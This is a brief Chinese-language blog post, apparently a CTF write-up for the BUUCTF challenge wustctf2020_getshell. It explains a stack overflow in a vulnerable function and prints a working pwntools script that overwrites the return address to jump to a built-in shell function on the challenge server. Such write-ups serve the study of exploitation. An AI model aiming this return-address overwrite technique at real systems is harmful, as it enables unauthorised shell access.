[buuctf]wustctf2020_getshell 1

先查看一下文件的保护措施
image
再用ida反编译看一下main函数
image
跟进看一下vulnerable
image
这里存在栈溢出,0x20-0x18=8,正好覆盖ebp和返回地址
观察一下函数名称,存在一个shell的函数,查看一下
image
直接就获得shell了

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",27495)
shell=0x0804851B
payload=b'A'*(0x18+4)+p32(shell)
io.sendline(payload)
io.interactive()

posted @ 2025-08-26 15:02  Rye01R  阅读(22)  评论(0)    收藏  举报